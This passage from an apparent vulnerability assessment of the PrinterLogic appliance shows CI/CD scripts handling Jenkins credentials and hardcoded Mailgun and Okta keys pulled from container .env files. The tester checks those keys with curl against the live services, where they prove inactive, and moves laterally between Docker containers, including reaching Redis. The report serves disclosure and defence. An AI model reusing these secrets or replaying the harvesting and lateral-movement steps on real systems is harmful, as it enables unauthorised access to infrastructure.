<span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access password<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>get-aws-secret.sh jenkins_access credential_id<span style="color: #008000; font-weight: bold">)</span>
...
curl -v -u <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> -H <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> -d <span style="color: #BA2121">&#39;script=</span>
<span style="color: #BA2121">import hudson.model.Node.Mode</span>
<span style="color: #BA2121">import hudson.slaves.*</span>
<span style="color: #BA2121">import jenkins.model.Jenkins</span>
<span style="color: #BA2121">import hudson.plugins.sshslaves.SSHLauncher</span>
<span style="color: #BA2121">import hudson.plugins.sshslaves.verifiers.*</span>
<span style="color: #BA2121">SshHostKeyVerificationStrategy hostKeyVerificationStrategy = new NonVerifyingKeyVerificationStrategy()</span>
<span style="color: #BA2121">DumbSlave dumb = new DumbSlave(&quot;&#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">NODE_NAME</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39;&quot;,</span>
<span style="color: #BA2121">&quot;&#39;&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">NODE_DESC</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;&#39;&quot;,</span>
<span style="color: #BA2121">&quot;/home/jenkins&quot;,</span>
<span style="color: #BA2121">&quot;&#39;&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">NODE_EXECUTORS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;&#39;&quot;,</span>
<span style="color: #BA2121">Mode.EXCLUSIVE,</span>
<span style="color: #BA2121">&quot;&#39;&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">NODE_LABELS</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;&#39;&quot;,</span>
<span style="color: #BA2121">new hudson.plugins.sshslaves.SSHLauncher(&quot;&#39;&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">NODE_HOST</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;&#39;&quot;, 22, &quot;&#39;&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;&#39;&quot;, null, null, &quot;&quot;, &quot;&quot;, 210, 0, 0, hostKeyVerificationStrategy),</span>
<span style="color: #BA2121">RetentionStrategy.INSTANCE)</span>
<span style="color: #BA2121">Jenkins.instance.addNode(dumb)</span>
<span style="color: #BA2121">&#39;</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span>/script
</pre></div>

<p>Some scripts allow monitoring Jenkins, e.g.:</p>
<p>Monitoring a Jenkins server:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# vi aws-mon.sh 
 <span style="color: #666666">25</span> <span style="color: #19177C">instanceid</span><span style="color: #666666">=</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_ID</span><span style="color: #BB6688; font-weight: bold">}</span>
 <span style="color: #666666">26</span> <span style="color: #19177C">azone</span><span style="color: #666666">=</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">INSTANCE_AZ</span><span style="color: #BB6688; font-weight: bold">}</span>
 <span style="color: #666666">27</span> <span style="color: #19177C">region</span><span style="color: #666666">=</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">REGION</span><span style="color: #BB6688; font-weight: bold">}</span>
 <span style="color: #666666">28</span> <span style="color: #008000">export</span> <span style="color: #19177C">EC2_REGION</span><span style="color: #666666">=</span><span style="color: #19177C">$region</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">671</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$JENKINS_BUILD_EXECUTORS</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">672</span>   <span style="color: #19177C">JENKINS_URL</span><span style="color: #666666">=</span>buildmaster-01.pl-labs.com
<span style="color: #666666">673</span>   <span style="color: #19177C">LOCAL_IP</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>hostname --ip-address<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">674</span> 
<span style="color: #666666">675</span>   <span style="color: #408080; font-style: italic"># Get Jenkins secret info</span>
<span style="color: #666666">676</span>   <span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">677</span>   <span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">678</span>   <span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id<span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">679</span>   <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_CREDENTIAL_ID</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">680</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Missing one or more of jenkins username/password/credential_id&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #666666">681</span>   <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">682</span> 
<span style="color: #666666">683</span>   <span style="color: #408080; font-style: italic"># Get a temporary token so we can make a curl call to register this node</span>
<span style="color: #666666">684</span>   <span style="color: #19177C">TOKEN</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>curl -s -u <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> <span style="color: #BA2121">&#39;&#39;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&#39;/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,&quot;:&quot;,//crumb)&#39;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">685</span>   <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[[</span> <span style="color: #19177C">$?</span> -gt <span style="color: #666666">0</span> <span style="color: #666666">]]</span> <span style="color: #666666">||</span> <span style="color: #666666">[[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">686</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Unable to retrieve a token from the jenkins master&quot;</span> <span style="color: #666666">&amp;&amp;</span> <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #666666">687</span>   <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">688</span> 
<span style="color: #666666">689</span>   <span style="color: #408080; font-style: italic"># Gather statistics for this build node</span>
<span style="color: #666666">690</span>   <span style="color: #19177C">RESP</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span>curl -s -u <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_USERNAME</span><span style="color: #BB6688; font-weight: bold">}</span>:<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_PASSWORD</span><span style="color: #BB6688; font-weight: bold">}</span> -H <span style="color: #BA2121">&quot;</span><span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">TOKEN</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">JENKINS_URL</span><span style="color: #BB6688; font-weight: bold">}</span>/computer/linux-build-<span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">LOCAL_IP</span><span style="color: #BB6688; font-weight: bold">}</span>/loadStatistics/api/json?depth<span style="color: #666666">=2</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">691</span>   <span style="color: #19177C">avail_ex</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span><span style="color: #008000">echo</span> <span style="color: #19177C">$RESP</span> | jq <span style="color: #BA2121">&#39;.availableExecutors.sec10.latest&#39;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">692</span>   <span style="color: #19177C">busy_ex</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span><span style="color: #008000">echo</span> <span style="color: #19177C">$RESP</span> | jq <span style="color: #BA2121">&#39;.busyExecutors.sec10.latest&#39;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">693</span>   <span style="color: #19177C">queue_length</span><span style="color: #666666">=</span><span style="color: #008000; font-weight: bold">$(</span><span style="color: #008000">echo</span> <span style="color: #19177C">$RESP</span> | jq <span style="color: #BA2121">&#39;.queueLength.sec10.latest&#39;</span><span style="color: #008000; font-weight: bold">)</span>
<span style="color: #666666">694</span>   <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$VERBOSE</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">695</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Available executors: </span><span style="color: #19177C">$avail_ex</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">696</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Busy executors: </span><span style="color: #19177C">$busy_ex</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">697</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Queue length: </span><span style="color: #19177C">$queue_length</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">698</span>   <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">699</span>   <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$VERIFY</span> -eq <span style="color: #666666">0</span> <span style="color: #666666">]</span>; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">700</span>     aws cloudwatch put-metric-data --metric-name <span style="color: #BA2121">&quot;JenkinsAvailableExecutors&quot;</span> --value <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$avail_ex</span><span style="color: #BA2121">&quot;</span> --unit <span style="color: #BA2121">&quot;Count&quot;</span> <span style="color: #19177C">$CLOUDWATCH_OPTS</span>
<span style="color: #666666">701</span>     aws cloudwatch put-metric-data --metric-name <span style="color: #BA2121">&quot;JenkinsBusyExecutors&quot;</span> --value <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$busy_ex</span><span style="color: #BA2121">&quot;</span> --unit <span style="color: #BA2121">&quot;Count&quot;</span> <span style="color: #19177C">$CLOUDWATCH_OPTS</span>
<span style="color: #666666">702</span>     aws cloudwatch put-metric-data --metric-name <span style="color: #BA2121">&quot;JenkinsQueueLength&quot;</span> --value <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$queue_length</span><span style="color: #BA2121">&quot;</span> --unit <span style="color: #BA2121">&quot;Count&quot;</span> <span style="color: #19177C">$CLOUDWATCH_OPTS</span>
<span style="color: #666666">703</span>   <span style="color: #008000; font-weight: bold">fi</span>
</pre></div>

<p>Storing AWS keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers.</p>
<p>The CI/CD scripts provide a lot of information to attackers and can be used for lateral movement in order to compromise the PrinterLogic infrastructure.</p>
<p><a id="va-hardcoded-mailgun-credentials"></a></p>
<h2>Details - Hardcoded Mailgun credentials</h2>
<p>It is possible to extract Mailgun secret keys from .env files:</p>
<pre><code>root@printerlogic:/var/lib/docker/overlay2# docker exec -it 5513823753ee bash 
root@5513823753ee:/var/www/app# cat .env 
[...]
MAILGUN_DOMAIN=mg.printerlogic.com
MAILGUN_SECRET=key-d5f3073e938dd40c6a0bda511078a5e8
</code></pre>
<p>After testing this API key using the example provided in <a href="https://documentation.mailgun.com/en/latest/quickstart-sending.html#send-via-api">https://documentation.mailgun.com/en/latest/quickstart-sending.html#send-via-api</a>, the API seems to be inactive:</p>
<pre><code>kali% curl -s --user 'api:key-d5f3073e938dd40c6a0bda511078a5e8' \
    https://api.mailgun.net/v3/mg.printerlogic.com/messages \    
    -F from='Excited User &lt;mailgun@mg.printerlogic.com&gt;' \   
    -F to=[redacted]@[redacted] \                     
    -F subject='Hello' \             
    -F text='Testing API key - report PrinterLogic VA'

Forbidden                                                                                                                                                    
kali% curl -s --user 'api:d5f3073e938dd40c6a0bda511078a5e8' \    
    https://api.mailgun.net/v3/mg.printerlogic.com/messages \
    -F from='Excited User &lt;mailgun@mg.printerlogic.com&gt;' \
    -F to=[redacted]@[redatected] \
    -F subject='Hello' \
    -F text='Testing API key - report PrinterLogic VA'

Forbidden
</code></pre>
<p>While this API key is disabled, it is recommended not to store secret keys in Docker instances.</p>
<p><a id="va-hardcoded-okta-private-key"></a></p>
<h2>Details - Hardcoded OKTA Private key</h2>
<p>Okta is a trusted platform for Single Sign-On.</p>
<p>An Okta private key was found along with configuration options in .env files:</p>
<pre><code>kali% grep -i okta **/.env
  local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"
API_OKTA_URL=http://okta.printercloud
  local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY"

OKTA_API_KEY=00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ# PHP_IDE_CONFIG identifies the code base to PhpStorm while debugging
OKTA_BASE_URL=https://vasion.okta.com/
OKTA_CLIENT_ID=${WILDEPRINTERS_OKTA_CLIENT_ID:-}
OKTA_CLIENT_SECRET=${WILDEPRINTERS_OKTA_CLIENT_SECRET:-}
OKTA_LOGOUT_REDIRECT_URI=${PRINTERCLOUD_SCHEME:-https}://migration.${PRINTERCLOUD_APP_DOMAIN}/
OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
OKTA_TENANT_URL=https://acme2.oktapreview.com
API_OKTA_URL=http://okta.printercloud
API_OKTA_URL=https://okta
OKTA_BASE_URL=https://vasion.okta.com/
OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com}
OKTA_TENANT_URL=https://acme2.oktapreview.com
# The OKTA_TENANT_URL is currently set in the secrets file for each environment
# Okta Microservice API
API_OKTA_URL=https://okta
API_OKTA_VERIFYSSL=false
</code></pre>
<p>After testing this API key, it appears not to be valid:</p>
<pre><code>kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://vasion.okta.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaetRN3rSwbROWcHTQRT7uQpA","errorCauses":[]}
kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://printerlogicops-admin.okta.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaezEnKwIo6Rsyu6lRJCuu7Jg","errorCauses":[]}
kali% curl -s -kv -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://acme2.oktapreview.com/api/v1/meta/types/user
{"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaekbszU1leTMa0p1PlOjlSuQ","errorCauses":[]}
kali%
</code></pre>
<p>Storing private keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers.</p>
<p><a id="va-lack-of-fw"></a></p>
<h2>Details - Lack of firewall between Docker instances</h2>
<p>The solution uses 40 different Docker instances with several networks.</p>
<p>Listing of Docker instances:</p>
<pre><code>root@printerlogic:~# docker ps
CONTAINER ID        IMAGE                            COMMAND                  CREATED             STATUS                       PORTS                            NAMES
16178d2bccb2        printerlogic/va-api:1.1.4        "/opt/entrypoint.sh"   About an hour ago   Up About an hour (healthy)   80/tcp                           printercloud-appliance_va-api.1.fwacyv7l7gqxqrtwox45kvp1i
9f72609937de        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-seeder.1.tbniqiidu8vtqpjtxjwh8oxsm
a393b51c084e        printerlogic/authn:1.0.257       "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_authn.1.jx70uxweg3iown085yiuis4j6
7a508d3d8623        printerlogic/oncp-hold:v1.0.31   "./cloud-print-job-h"  About an hour ago   Up About an hour (healthy)   80/tcp                           printercloud_oncp-hold.1.u3ac7ousxjn4ff5kkcvwgf9n4
69e727ce5901        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_pi.1.nk5ouy3a7jwid082dhzl0mix5
d4a0594b6121        printerlogic/ebc:1.0.34          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp                 printercloud_ebc.1.1e4rjf6mzq9t53swqdgxgfnwu
ed12cf7e4428        printerlogic/oncp-reg:1.0.15     "/opt/entrypoint.sh"   About an hour ago   Up About an hour (healthy)                                    printercloud_oncp-reg.1.y5dmk4y84g6rjyrt4t53syutz
0ee9b6a63f59        printerlogic/idpi:1.0.6          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_idpi.1.35xxr3pqef00ivcn2no6y90rr
6092ba3e4189        printerlogic/oncp-pgw:v1.0.21    "./cloud-print-print"  About an hour ago   Up About an hour (healthy)   80-81/tcp                        printercloud_oncp-pgw.1.x9j0c6o7ydf0ehb2pmwxb70fj
11146de0ed76        dperson/samba:latest             "/sbin/tini -- /opt/"  About an hour ago   Up About an hour (healthy)   139/tcp, 137-138/udp, 445/tcp    config_samba.1.dfwyt1m90ab30k75fogxhcxcz
7d39399f459a        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-reports.1.es8sfg9p6zya8r8396izh5z1i
bb96b17d45b8        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-snmp.1.ttxndt3y7brnkw95vxluhht7l
f784e1b43237        printerlogic/qms:1.0.124         "/opt/entrypoint.sh"   About an hour ago   Up About an hour (healthy)                                    printercloud_qms.1.ek9zr8g67vb9k0s1n9nv2s736
9ad5da8b9d25        printerlogic/sched:1.0.18        "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000/tcp        printercloud-appliance_worker-scheduler.1.sy93cqxhn8fjypvfg9eu78may
a2cac82b5586        printerlogic/users:5.186.1       "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_users.1.zoorlq8nwkx15smt2cegigo8h
b3b7793a3e95        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-low.1.whls4vm5xshz3h44c462iwdc1
77c42d53c3b2        mysql:8.0.26                     "docker-entrypoint.s"  About an hour ago   Up About an hour (healthy)   3306/tcp, 33060/tcp              storage_mysql.1.ff8nbsv250u5d3vqk9r62ripe
b4f9ccdf92cb        printerlogic/gw:1.208.5          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_gw.1.vznnoqqf3kbhcwfwkl3plzi39
ac69cca5df62        printerlogic/pi:5.0.6539         "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-pi-high.1.3cr0gdxirucwzdk2j5d0rbtja
f37db8c79a50        printerlogic/br:1.0.62           "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp                  printercloud_br.1.30m12skgwj5mu3y0ypfkp319q
9098f6052c94        printerlogic/identity:v1.0.88    "/usr/local/bin/iden"  About an hour ago   Up About an hour (healthy)   80/tcp                           printercloud_identity.1.8x0lwby90079bojeabu8vhead
0bf820403a1a        printerlogic/edw:1.0.44          "/opt/entrypoint.sh"   About an hour ago   Up About an hour (healthy)                                    printercloud_edw.1.yt5pd4mmletn81vs3wo5dz77q
bf43c1f6503e        printerlogic/users:5.186.1       "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_worker-users-queue.1.n3hbhjezaps6gwkw1nuqupdq4
bc477aaff3d7        printerlogic/oncp-ofn:v1.0.6     "off-network-app"        About an hour ago   Up About an hour (healthy)   80/tcp                           printercloud_oncp-ofn.1.szvk26xlr897j96p2z29hlv9p
171c014430d7        printerlogic/tree:1.0.57         "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_tree.1.7n99xw0qv856wjvj3eleaflij
a7656e45349d        traefik:latest                   "/srv/entrypoint.sh"   About an hour ago   Up About an hour             80/tcp                           networking_traefik.1.rjigvw3twkt4qkeldzbqbqn2u
8ec8a6bf4555        printerlogic/scim:1.0.9          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_scim.1.okyfdbo5ct76v54eppsanw0me
e9994d5a21bf        printerlogic/prs:1.0.2           "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp                 printercloud_prs.1.6uuzdvqkb39u910gw9e3yupfy
5b99b9c2a4b2        printerlogic/eb:0.0.4            "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   3000/tcp, 9229/tcp               printercloud_eb.1.wtzjn9sdbl6wva6dy3u1y1nh5
d2e3989f4cf3        printerlogic/cpp-ui:1.80.5       "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000-9001/tcp   printercloud_cpp-ui.1.qhmgeshht9gip0quyhppdogv3
fce5597bbe3d        printerlogic/va-cdn:0.0.435      "/docker-entrypoint."  About an hour ago   Up About an hour             80/tcp                           printercloud-appliance_va-cdn.1.copecxekt4rwuxfq4tynfm1a6
294dbdd973da        printerlogic/scd:1.0.70          "/var/www/app/.docke"  About an hour ago   Up About an hour             80/tcp, 443/tcp, 9000-9001/tcp   printercloud_scd.1.3eef4r68kmkqnc5dcswa3xjhv
6cb464ab04b7        portainer/agent:latest           "./agent"                About an hour ago   Up About an hour                                              printercloud_portainer-agent.a6zgwxfp4n2v4tdi8u7b40shy.aoew1w8ym8p1hai6ch38dau7j
55b64c63a9f6        printerlogic/pq:5.0.124          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 443/tcp, 9000/tcp        printercloud_pq.1.vwp9poc8belv24mxwijeeetct
a7bff45e538c        printerlogic/ofn:1.108.0         "off-network-app"        About an hour ago   Up About an hour (healthy)   80/tcp                           printercloud_ofn.1.18qn5bj4eqgpbq2d94k6hy8vx
317daac676fd        printerlogic/scss:1.0.39         "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp                 printercloud_scss.1.uc6fcunwy1s3hdb6di4avqlzb
6b3781947b83        printerlogic/client:25.1.0.551   "/bin/sh -c 'supervi"  About an hour ago   Up About an hour                                              printercloud-appliance_client.1.pnbxglabahqd9prozbvbs55sc
1d856b21e63d        redis:5-alpine                   "docker-entrypoint.s"  About an hour ago   Up About an hour (healthy)   6379/tcp                         storage_redis.1.zachure4n159uah7xsu3ixau6
a842502dcc97        printerlogic/cat:1.0.58          "/var/www/app/.docke"  About an hour ago   Up About an hour (healthy)   80/tcp, 9229/tcp                 printercloud_cat.a6zgwxfp4n2v4tdi8u7b40shy.fgp2p5wo56hg4sanjmirpoyzl
022c2a2201b4        printerlogic/hive:1.1.30         "/opt/entrypoint.sh"   5 days ago          Up About an hour                                              cicd_hive_1
root@printerlogic:~#
</code></pre>
<p>By default, there are no firewall rules between Docker instances, allowing an attacker to compromise an instance to attack other instances (<code>lateral movements</code>).</p>
<p>For example, it is possible to reach a Docker instance providing PHP webpages from another instance.</p>
<p>HTTP requests inside the <code>172.17.130.0/24</code> network:</p>
<pre><code>bash-5.0# curl -kv http://172.17.130.40/index.php
* Uses proxy env variable no_proxy == 'fake-host,localhost,*.local,*.printercloud,*.overlay,127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16'
*   Trying 172.17.130.40:80...
* TCP_NODELAY set
* Connected to 172.17.130.40 (172.17.130.40) port 80 (#0)
&gt; GET /index.php HTTP/1.1
&gt; Host: 172.17.130.40
&gt; User-Agent: curl/7.66.0
&gt; Accept: */*
&gt;
* Mark bundle as not supporting multiuse
&lt; HTTP/1.1 200 OK
&lt; Server: nginx
&lt; Content-Type: text/html; charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Connection: keep-alive
&lt; Cache-Control: no-cache, private
&lt; Date: Wed, 26 Jan 2022 04:59:37 GMT
* Added cookie XSRF-TOKEN="eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D" for domain 172.17.130.40, path /, expire 1643180377
&lt; Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijg3VVVyUzNiQ0dDblVmR3ZGWFRSSFE9PSIsInZhbHVlIjoiWVhaYzFSMExUUmI0bU9yeHoxRmhjQzJ6UFhPYVFSbllvdE9jQmRLbWhkRWFIdWt3b2puc2lRSVRpVnVuTXJ1KyIsIm1hYyI6IjFkMTk3NWRhMzgwNDViOTU1OTczMjJhNTRiMDUwMDFiMWMwNWU1NzlhZTUwNmExNDk1YTJiMTJkNjY5ZjFmOTgifQ%3D%3D; expires=Wed, 26-Jan-2022 06:59:37 GMT; Max-Age=7200; path=/
&lt;
* Connection #0 to host 172.17.130.40 left intact
</code></pre>
<p>The Redis instance is directly reachable from this internal network - this allows an attacker to compromise the Redis instance from any Docker instance:</p>
<pre><code>printerlogic:~# docker ps|grep redis
1d856b21e63d        redis:5-alpine                   "docker-entrypoint.sh"  About an hour ago   Up About an hour (healthy)   6379/tcp                         storage_redis.1.zachure4n159uah7xsu3ixau6
root@printerlogic:~# docker inspect 1d856b21e63d|grep 172
